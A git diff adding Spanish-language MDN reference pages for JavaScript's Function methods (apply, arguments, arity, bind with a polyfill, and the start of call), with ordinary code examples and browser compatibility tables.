+<p>Puede también utilizarse {{jsxref("Funciones/arguments", "arguments")}} como parámetro <code>argsArray</code>. <code>arguments</code> es una variable local a la función. Puede utilizarse para acceder a todos los argumentos no específicados en la llamada al objeto. Por lo tanto, no se requiere conocer todos los argumentos del objeto invocado cuando se utiliza el método <code>apply</code>. Puede utilizarse <code>arguments</code> para pasar los argumentos al objeto invocado. El objeto invocado es entonces responsable por el manejo de los argumentos.</p>
+
+<p>Desde la 5ta edición de ECMAScript se puede utilizar también cualquier tipo de objeto similar a un arreglo, que en términos prácticos significa que tendrá una propiedad <code>length</code> y propiedades integer en el rango (<code>0...length)</code>. Por ejemplo, ahora puede utilizarse un {{domxref("NodeList")}} o un objeto personalizado como: <code>{'length': 2, '0': 'eat', '1': 'bananas'}</code>.</p>
+
+<div>{{ note("La mayoría de los navegadores, incluidos Chrome 14 e Internet Explorer 9, aún no soportan el uso de objetos similares a un array y arrojarán una excepción.") }}</div>
+
+<div> </div>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Using_apply_to_chain_constructors" name="Using_apply_to_chain_constructors">Utilizando <strong><code>apply</code></strong> para encadenar constructores</h3>
+
+<p>Puedes utilizar <code>apply</code> para encadenar {{jsxref("Operadores/new", "constructors")}} para un objeto, similar a Java. En el ejemplo siguiente se crea un método global a {{jsxref("Function")}} llamado <code>construct</code>, en cual posibilita el uso de un objeto similar a un arreglo en un constructor en lugar de una lista de argumentos.</p>
+
+<pre class="brush: js">Function.prototype.construct = function (aArgs) {
+    var fConstructor = this, fNewConstr = function () { fConstructor.apply(this, aArgs); };
+    fNewConstr.prototype = fConstructor.prototype;
+    return new fNewConstr();
+};</pre>
+
+<p>Ejemplo de uso:</p>
+
+<pre class="brush: js">function MyConstructor () {
+    for (var nProp = 0; nProp &lt; arguments.length; nProp++) {
+        this["property" + nProp] = arguments[nProp];
+    }
+}
+
+var myArray = [4, "Hello world!", false];
+var myInstance = MyConstructor.construct(myArray);
+
+alert(myInstance.property1); // alerts "Hello world!"
+alert(myInstance instanceof MyConstructor); // alerts "true"
+alert(myInstance.constructor); // alerts "MyConstructor"</pre>
+
+<div class="note"><strong>Nota:</strong> El método <code>Function.construct</code> no nativo no funcionará con algunos constructores nativos (como {{jsxref("Date")}}, por ejemplo). En estos casos se deberá utilizar el método {{jsxref("Function.bind")}} (por ejemplo, supóngase un arreglo como el siguiente para utilizar con el constructor <code>Date</code>: <code>[2012, 11, 4]</code>; en este caso se tendría que escribir algo como: <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code> – de cualquier manera, ésta no es la mejor manera de hacerlo y probablemente no debería utilizarse en ningún entorno en producción).</div>
+
+<h3 id="apply_and_built-in_functions" name="apply_and_built-in_functions"><strong><code>apply</code></strong> y funciones <strong>built-in</strong></h3>
+
+<p>El uso inteligente de <strong><code>apply</code></strong> permite utilizar funciones built-in para algunas tareas que, de otra manera, habrían sido escritas recorriendo los valores del arreglo dentro de un bucle. Como ejemplo, vamos a utilizar <code>Math.max</code>/<code>Math.min </code>para encontrar el máximo/mínimo valor en un arreglo.</p>
+
+<pre class="brush: js">/* min/max number in an array */
+var numbers = [5, 6, 2, 3, 7];
+
+/* using Math.min/Math.max apply */
+var max = Math.max.apply(null, numbers); /* This about equal to Math.max(numbers[0], ...) or Math.max(5, 6, ..) */
+var min = Math.min.apply(null, numbers);
+
+/* vs. simple loop based algorithm */
+max = -Infinity, min = +Infinity;
+
+for (var i = 0; i &lt; numbers.length; i++) {
+  if (numbers[i] &gt; max)
+    max = numbers[i];
+  if (numbers[i] &lt; min)
+    min = numbers[i];
+}</pre>
+
+<p>Pero cuidado: utilizando <code>apply</code> de esta manera estás corriendo el riesgo de exceder el límite de argumentos permitido por el motor de JavaScript. Las consecuencias de aplicar una función con demasiados argumentos (imagínate más de decenas de miles de argumentos) varían entre los distintos motores (JavaScriptCore tiene un <a href="https://bugs.webkit.org/show_bug.cgi?id=80797">límite de argumentos fijo de 65536</a>), porque el límite (de hecho, incluso el comportamiento de cualquier pila excesivamente larga) no está especificado. Algunos motores lanzarán una excepción. Más perniciosamente, otros limitarán de manera arbitraria el número de argumentos que se están pasando en realidad a la función. (Para ilustrar este último caso: si un motor tuviera un límite de cuatro argumentos [por supuesto, los límites reales son significamente mayores], sería como si los argumentos 5, 6, 2 y 3 hubieran sido pasados a <code>apply</code> en los ejemplos anteriores, en lugar del arreglo completo). Si el valor de tu arreglo pudiera crecer en decenas de miles, utiliza una estrategia híbrida: aplica a tu función trozos del array a la vez:</p>
+
+<pre class="brush: js">function minOfArray(arr) {
+  var min = Infinity;
+  var QUANTUM = 32768;
+
+  for (var i = 0, len = arr.length; i &lt; len; i += QUANTUM) {
+    var submin = Math.min.apply(null, arr.slice(i, Math.min(i + QUANTUM, len)));
+    min = Math.min(submin, min);
+  }
+
+  return min;
+}
+
+var min = minOfArray([5, 6, 2, 3, 7]);</pre>
+
+<h3 id="Utilizando_apply_en_monkey-patching">Utilizando apply en "monkey-patching" </h3>
+
+<p>(Reemplazando de manera dinámica los argumentos en tiempo de ejecución)</p>
+
+<p><code>apply </code>puede ser la mejor manera de reemplazar dinámicamente una función 'built-in' de Firefox, o de una librería de JavaScript. Dada una función <code>someobject.foo</code>, puedes modificar la función de una forma 'hacker', como ésta:</p>
+
+<pre><code>var originalfoo = someobject.foo;
+someobject.foo = function() {
+  // Haz algo antes de llamar a la función
+  console.log(arguments);
+  // Llama a la función como la hubieras llamado normalmente
+  originalfoo.apply(this, arguments);
+  // Aquí, ejecuta algo después
+}</code></pre>
+
+<p>Este método es especialmente útil cuando quieres depurar eventos, o interfaces con algún elemento que no tiene API, al igual que los diversos <code>.on</code> (eventos<code> [event]..., </code>como los que se usan en el <a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector#Developer_API">Devtools Inspector</a>)</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definición Inicial. Implementada in JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>ES 5.1 generic array-like object as {{jsxref("Functions/arguments", "arguments")}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Funciones/arguments", "arguments")}} objetos</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/arguments/index.html b/files/es/web/javascript/referencia/objetos_globales/function/arguments/index.html
new file mode 100644
index 0000000000..f0f8f6ca90
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/arguments/index.html
@@ -0,0 +1,44 @@
+---
+title: Function.arguments
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/arguments
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments
+---
+<div>{{JSRef("Objetos_globales", "Function")}} {{deprecated_header}}</div>
+
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>Un objeto de tipo arreglo correspondiente a los argumentos pasados a la función.</p>
+
+<h3 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h3>
+
+<p>Use el objeto <code><a href="es/Referencia_de_JavaScript_1.5/Funciones/arguments">arguments</a></code> disponible dentro de las funciones en vez de <code>Function.arguments</code>.</p>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>En caso de recursividad, es decir, si la función <code>f</code> aparece varias veces en la pila de llamada, el valor de <code>f.arguments</code> representa los argumentos correspondientes a la invocación más reciente de la función.</p>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<pre class="eval">function f(n) { g(n-1) }
+function g(n) {
+  print("antes: " + g.arguments[0]);
+  if(n&gt;0)
+    f(n);
+  print("después: " + g.arguments[0]);
+}
+f(2)
+</pre>
+
+<p>resultados:</p>
+
+<pre class="eval">antes: 1
+antes: 0
+después: 0
+después: 1
+</pre>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Function/arguments", "pl": "pl/Dokumentacja_j\u0119zyka_JavaScript_1.5/Obiekty/Function/arguments" } ) }}</p>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/arity/index.html b/files/es/web/javascript/referencia/objetos_globales/function/arity/index.html
new file mode 100644
index 0000000000..f79bf24bc4
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/arity/index.html
@@ -0,0 +1,32 @@
+---
+title: Function.arity
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/arity
+tags:
+  - JavaScript
+  - Obsoleto
+  - Propiedad
+  - Sin Implementación
+  - función
+translation_of: Archive/Web/JavaScript/Function.arity
+---
+<div>{{JSRef}} {{Obsolete_Header}}</div>
+
+<p class="note">La propiedad <code><strong>arity</strong></code> regresa el número de argumentos esperados por la función, sin embargo, ya no existe y ha sido remplazada por la propiedad  {{jsxref("Function.prototype.length")}} .</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Implementada en JavaScript 1.2. extraida en JavaScript 1.4.</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Function.arity")}}</p>
+</div>
+
+<h2 id="Ver_más">Ver más</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.length")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/bind/index.html b/files/es/web/javascript/referencia/objetos_globales/function/bind/index.html
new file mode 100644
index 0000000000..bdc7b5b73c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/bind/index.html
@@ -0,0 +1,293 @@
+---
+title: Function.prototype.bind()
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/bind
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
+---
+<div>{{JSRef("Global_Objects", "Function")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El método <code><strong>bind()</strong></code> crea una nueva función, que cuando es llamada, asigna a su operador  <em>this</em> el valor entregado, con una secuencia de argumentos dados precediendo a cualquiera entregados cuando la función es llamada. </p>
+
+<p>El valor de <em>this</em> es ignorado cuando la función es llamada con el operador <em>new</em>.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>fun</var>.bind(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametros</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>Es un valor que será enviado a la función destino cuando se llame a la función de enlace. Este valor será ignorado si la función de enlace es construida usando el operador {{jsxref("Operators/new", "new")}}.</dd>
+ <dt><code>arg1, arg2, ...</code></dt>
+ <dd>Son los argumentos que se enviarán además de los provistos a la función de enlace cuando se invoque la función destino.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una copia de la función entregada con el valor especificado <code>this </code>y los argumentos iniciales.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>La función <code>bind()</code> crea una nueva función (<strong>función ligada</strong>) con el mismo cuerpo (propiedad interna {{jsxref("Function.prototype.call", "call")}} en términos de ECMAScript 5) como la función que será llamada (la <strong>función objetivo</strong> de la función ligada) con la referencia <code>this</code> asociada al primer argumento de <code>bind()</code>, el cual no podrá ser sobreescrito. <code>bind()</code> también acepta parámetros predeterminados que antecederán al resto de los parámetros específicos cuando la función objetivo sea llamada. Una función ligada también puede ser construída utilizando el operador {{jsxref("Operators/new", "new")}}: al hacerlo, actuará como si en su lugar hubiera sido construída la función objetivo.</p>
+
+<p>En este último caso, el parámetro correspondiente para <code>this</code> será ignorado, aunque los parámetros predeterminados que antecederán al resto sí serán provistos para la función emulada.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Ejemplo_Crear_una_función_ligada">Ejemplo: Crear una función ligada</h3>
+
+<p>El uso más simple de <code>bind()</code> es hacer que una función que, sin importar cómo es llamada, siempre apunte al mismo objeto con la referencia <code>this</code>. Un error común para nuevos programadores de JavaScript es que obtienen una referencia a un método de un objeto, posteriormente ejecutan ese método desde la referencia externa y esperan que la referencia de <code>this</code> siga apuntando al objeto original de donde se obtuvo el método (v.g. cuando se usa ese método en un callback). Sin el debido cuidado, el objeto original es comúnmente perdido. Creando una función ligada desde la función  empleando el objeto original, resuelve limpiamente este problema:</p>
+
+<pre class="brush: js">this.x = 9;
+var module = {
+  x: 81,
+  getX: function() { return this.x; }
+};
+
+module.getX(); // 81
+
+var getX = module.getX;
+getX(); // 9, porque en este caso, "this" apunta al objeto global
+
+// Crear una nueva función con 'this' asociado al objeto original 'module'
+var boundGetX = getX.bind(module);
+boundGetX(); // 81</pre>
+
+<h3 id="Ejemplo_Funciones_Parciales">Ejemplo: Funciones Parciales</h3>
+
+<p>El siguiente uso simple de <code>bind()</code> es definir una función con argumentos predeterminados que precederán a los argumentos finales de la función ligada. Estos argumentos iniciales (en caso de haberlos) se definen a continuación de lo que será la referencia de <code>this</code> y son entonces enviados como argumentos de la función objetivo, seguidos por los argumentos enviados a la función ligada cada vez que dicha función sea llamada.</p>
+
+<pre class="brush: js">function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+
+// Crear funcion (sin referencia this) con argumento inicial predeterminado
+var leadingThirtysevenList = list.bind(undefined, 37);
+
+var list2 = leadingThirtysevenList(); // [37]
+var list3 = leadingThirtysevenList(1, 2, 3); // [37, 1, 2, 3]
+</pre>
+
+<h3 id="Ejemplo_Con_setTimeout">Ejemplo: Con setTimeout</h3>
+
+<p>De manera predeterminada, dentro de {{ domxref("window.setTimeout()") }}, la palabra reservada <code>this</code> será setteada al objeto {{ domxref("window") }} (o a global). Cuando se esté trabajando con métodos de clase que requieran que <code>this</code> se refiera a instancias de clase, usted puede explícitamente ligar <code>this</code> a la función callback para mantener la referencia de la instancia.</p>
+
+<pre class="brush: js">function LateBloomer() {
+  this.petalCount = Math.ceil(Math.random() * 12) + 1;
+}
+
+// Declare bloom after a delay of 1 second
+LateBloomer.prototype.bloom = function() {
+  window.setTimeout(this.declare.bind(this), 1000);
+};
+
+LateBloomer.prototype.declare = function() {
+  console.log('I am a beautiful flower with ' +
+    this.petalCount + ' petals!');
+};
+</pre>
+
+<h3 id="Ejemplo_Funciones_ligadas_usadas_como_constructores">Ejemplo: Funciones ligadas usadas como constructores</h3>
+
+<div class="warning">
+<p><strong>Advetencia:</strong> Esta sección demuestra las capacidades de JavaScript y documenta algunos usos extremos del método <code>bind()</code>. Los métodos mostrados a continuación no son la mejor forma de hacer las cosas y probablemente no deberían ser utilizados en ningún ambiente productivo.</p>
+</div>
+
+<p>Las funciones ligadas son automáticamente adecuadas para usarse con el operador {{jsxref("Operators/new", "new")}} para construir nuevas instancias creadas por la función objetivo. Cuando una función ligada es utilizada para construir un valor, el parámetro enviado para reemplazar la referencia <code>this</code> es ignorado. De cualquier forma, los argumentos iniciales sí son tomados en consideración y antecederán a los parámetros que se envíen al constructor:</p>
+
+<pre class="brush: js">function Point(x, y) {
+  this.x = x;
+  this.y = y;
+}
+
+Point.prototype.toString = function() {
+  return this.x + ',' + this.y;
+};
+
+var p = new Point(1, 2);
+p.toString(); // '1,2'
+
+
+var emptyObj = {};
+var YAxisPoint = Point.bind(emptyObj, 0/*x*/);
+// not supported in the polyfill below,
+// works fine with native bind:
+var YAxisPoint = Point.bind(null, 0/*x*/);
+
+var axisPoint = new YAxisPoint(5);
+axisPoint.toString(); // '0,5'
+
+axisPoint instanceof Point; // true
+axisPoint instanceof YAxisPoint; // true
+new Point(17, 42) instanceof YAxisPoint; // true
+</pre>
+
+<p>Note que no necesita hacer nada especial para crear una función ligada para usarse con {{jsxref("Operators/new", "new")}}. El razonamiento es que usted no necesita hacer nada especial para crear una función ligada para ser llamada planamente, aún si usted prefiriera requerir que la función ligada sea llamada únicamente utilizando {{jsxref("Operators/new", "new")}}.</p>
+
+<pre class="brush: js">// Ejemplo que puede ser ejecutado directamente en tu consola JavaScript
+// ...continúa de arriba
+
+// Aún puede ser invocada como una función normal
+// (aunque es usualmente indeseable)
+YAxisPoint(13);
+
+emptyObj.x + ',' + emptyObj.y;
+// &gt;  '0,13'
+</pre>
+
+<p>Si desea utilizar una función ligada únicamente usando {{jsxref("Operators/new", "new")}}, o únicamente mediante una llamada directa, la función objetivo debe forzar esa restricción.</p>
+
+<h3 id="Example:_Creating_shortcuts" name="Example:_Creating_shortcuts">Ejemplo: Crear atajos</h3>
+
+<p><code>bind()</code> también es útil en casos en los que desea crear un atajo para una función que requiere una referencia específica para <code>this</code>.</p>
+
+<p>Tomando {{jsxref("Array.prototype.slice")}}, por ejemplo, el cual se desearía utilizar para convertir un objeto tipo array a un arreglo real. Podría crear un atajo como el siguiente:</p>
+
+<pre class="brush: js">var slice = Array.prototype.slice;
+
+// ...
+
+slice.call(arguments);
+</pre>
+
+<p>Con <code>bind()</code>, esto puede ser simplificado. En el siguiente fragmento de código, <code>slice</code> es una función ligada a la función {{jsxref("Function.prototype.call()", "call()")}} de {{jsxref("Function.prototype")}}, con la referencia <code>this</code> setteada a la función {{jsxref("Array.prototype.slice()", "slice()")}} de {{jsxref("Array.prototype")}}. Esto significa que llamadas adicionales a <code>call()</code> pueden omitirse:</p>
+
+<pre class="brush: js">// same as "slice" in the previous example
+var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.call.bind(unboundSlice);
+
+// ...
+
+slice(arguments);
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+
+<p>La función <code>bind()</code> fue añadida a la especificación ECMA-262, 5a edición; por lo tanto podría no estar presente en todos los navegadores. Usted puede parcialmente simularla al insertar el siguiente código al inicio de sus scripts, permitiendo emplear muchas de las funcionalidades de <code>bind()</code> en implementaciones que no la soportan nativamente.</p>
+
+<pre class="brush: js">if (!Function.prototype.bind) {
+  Function.prototype.bind = function(oThis) {
+    if (typeof this !== 'function') {
+      // closest thing possible to the ECMAScript 5
+      // internal IsCallable function
+      throw new TypeError('Function.prototype.bind - what is trying to be bound is not callable');
+    }
+
+    var aArgs   = Array.prototype.slice.call(arguments, 1),
+        fToBind = this,
+        fNOP    = function() {},
+        fBound  = function() {
+          return fToBind.apply(this instanceof fNOP &amp;&amp; oThis
+                 ? this
+                 : oThis,
+                 aArgs.concat(Array.prototype.slice.call(arguments)));
+        };
+
+    fNOP.prototype = this.prototype;
+    fBound.prototype = new fNOP();
+
+    return fBound;
+  };
+}
+</pre>
+
+<p>Algunas de las muchas diferencias (bien podría haber otras, en tanto la siguiente lista no intenta ser exhaustiva) entre este algoritmo y el algoritmo de la especificación son:</p>
+
+<ul>
+ <li>La implementación parcial se basa en {{jsxref("Array.prototype.slice()")}}, {{jsxref("Array.prototype.concat()")}}, {{jsxref("Function.prototype.call()")}} y {{jsxref("Function.prototype.apply()")}}, métodos incorporados para tener sus valores originales.</li>
+ <li>La implementación parcial crea funciones que no tienen "poison pills" inmutables {{jsxref("Function.caller", "caller")}} y las propiedades de los <code>argumentos</code> que lanzan una {{jsxref("Global_Objects/TypeError", "TypeError")}} sobre get, set, o deletion. (Esto podría ser añadido si la implementación soportara {{jsxref("Object.defineProperty")}}, o parcialmente implementada [sin el comportamiento throw-on-delete] si la implementación soportara las extensiones {{jsxref("Object.defineGetter", "__defineGetter__")}} y {{jsxref("Object.defineSetter", "__defineSetter__")}} ).</li>
+ <li>La implementación parcial crea funciones que tienen una propiedad <code>prototype</code>. (Las funciones ligadas no tienen ninguna).</li>
+ <li>La implementación parcial crea funciones ligadas cuya propiedad {{jsxref("Function.length", "length")}} no coincide con la indicada por ECMA-262: ésta crea funciones con longitud 0, mientras que la implementación completa, dependiendo de la longitud de la función objetivo y del número de argumentos pre-especificados, podría regresar una longitud mayor a zero.</li>
+</ul>
+
+<p>Si elige usar esta implementación parcial,<strong> no debe de utilizarla en los casos en los que el comportamiento es distinto al de la especificación ECMA-262, 5th edition!</strong> Con un poco de cuidado, de cualquier manera (y tal vez con algunas modificaciones adicionales para adecuarse a sus necesidades específicas), esta implementación parcial podría ser un puente razonable al momento en que <code>bind()</code> sea ampliamente implementada acorde a a la especificación.</p>
+
+<p>Por favor checa <a href="https://github.com/Raynos/function-bind">https://github.com/Raynos/function-bind</a> para ver una solución más profunda.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.5', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("7")}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("11.60")}}</td>
+   <td>{{CompatSafari("5.1.4")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatAndroid("4.0")}}</td>
+   <td>{{CompatChrome("0.16")}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile("11.50")}}</td>
+   <td>{{CompatSafari("6.0")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Basado en <a class="external" href="http://kangax.github.com/es5-compat-table/">Kangax's compat tables</a>.</p>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/function/call/index.html b/files/es/web/javascript/referencia/objetos_globales/function/call/index.html
new file mode 100644
index 0000000000..4200c5d2a5
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/function/call/index.html
@@ -0,0 +1,113 @@
+---
+title: Function.prototype.call()
+slug: Web/JavaScript/Referencia/Objetos_globales/Function/call
+tags:
+  - Function
+  - JavaScript
+  - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/call
+---
+<div>{{JSRef("Objetos_globales", "Function")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El método <strong><code>call()</code></strong> llama a una función con un valor dado <code>this</code> y con argumentos provistos individualmente.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><em>function</em>.call(<em>thisArg</em>[, <em>arg1</em>[, <em>arg2</em>[, ...]]])</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code><em>thisArg</em></code> {{optional_inline}}</dt>
+ <dd>El valor a usar como <code>this</code> cuando se llama a <em><code>function</code></em>.</dd>
+ <dd>
+ <div class="blockIndicator note">
+ <p><strong>Cuidado:</strong> En ciertos casos, <code><em>thisArg</em></code> puede no ser el valor actual visto por el método.</p>
+
+ <p>Si el método es una función en {{jsxref("Strict_mode", "non-strict mode", "", 1)}}, {{jsxref("Global_Objects/null", "null")}} y {{jsxref("Global_Objects/undefined", "undefined")}} serán reemplazados con el objeto global, y valores primitivos serán convertidos a objetos.</p>
+ </div>
+ </dd>
+ <dt><code>arg1, arg2, ...</code></dt>
+ <dd>Argumentos para el objeto.</dd>
+ <dt>
+ <h3 id="Valor_de_retorno">Valor de retorno</h3>
+ </dt>
+ <dd>El resultado de llamar a la función con el <code>this</code> especificado y los argumentos.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>call()</code> permite que una función/método que pertenece a un objeto, ser asignada y llamada para un objeto diferente.</p>
+
+<p><code>call()</code> provee un nuevo valor de <code>this</code> a la función/método. Con <code>call()</code>, puedes escribir un método ona vez y heredarlo a otro objeto, sin tener que reescribir el método en el nuevo objeto.</p>
+
+<div class="note"><strong>Nota:</strong> Mientras la sintaxis de esta función es casi identica a la función {{jsxref("Function.apply", "apply()")}}, la diferencia fundamental es que <code>call()</code> acepta una <strong>lista de argumentos</strong>, mientras <code>apply()</code> accepta un <strong>arreglo sencillo de argumentos</strong>.</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_call_para_encadenar_constructores_para_un_objeto">Usando <code>call</code> para encadenar constructores para un objeto</h3>
+
+<p>Puede usar <code>call</code> para encadenar constructores para un objeto (similar a Java).</p>
+
+<p>En el siguiente ejemplo, el constructor para el objeto <code>Producto</code> es definido con dos parametros, <code>nombre</code> y <code>precio</code>.</p>
+
+<p>Otras dos funciones <code>Comida</code> y <code>Juguete</code> invocan a <code>Producto</code>, pasándo <code>this</code>, <code>nombre</code> y <code>precio</code>. <code>Producto</code> inicializa las propiedades <code>nombre</code> y <code>precio</code>, ambas funciones especializadas definen la <code>categoria</code>.</p>
+
+<pre class="brush: js notranslate">function Producto(nombre, precio) {
+  this.nombre = nombre;
+  this.precio = precio;
+
+  if (precio &lt; 0)
+    throw RangeError('No se puede crear el producto "' + nombre + '" con un precio negativo');
+  return this;
+}
+
+function Comida(nombre, precio) {
+  Producto.call(this, nombre, precio);
+  this.categoria = 'comida';
+}
+Comida.prototype = new Producto();
+
+function Juguete(nombre, precio) {
+  Producto.call(this, nombre, precio);
+  this.categoria = 'juguete';
+}
+Juguete.prototype = new Producto();
+
+var queso = new Comida('feta', 5);
+var diversion = new Juguete('robot', 40);
+</pre>
+
+<h3 id="Usando_call_para_invocar_una_función_anónima">Usando <code>call</code> para invocar una función anónima</h3>
+
+<p>En este ejemplo, creamos una función anónima y usamos <code>call</code> para invocarla en cada objeto en un arreglo.</p>
+
+<p>El propósito principal de la función anónima aquí es agregar una función <code>print</code>  a cada objeto, el cual puede imprimir el índice correcto en el arreglo.</p>
+
+<div class="blockIndicator note">
+<p>Pasar el objeto como valor <code>this</code> no es estrictamente necesario, pero se hace con propósito explicativo.</p>
+</div>
+
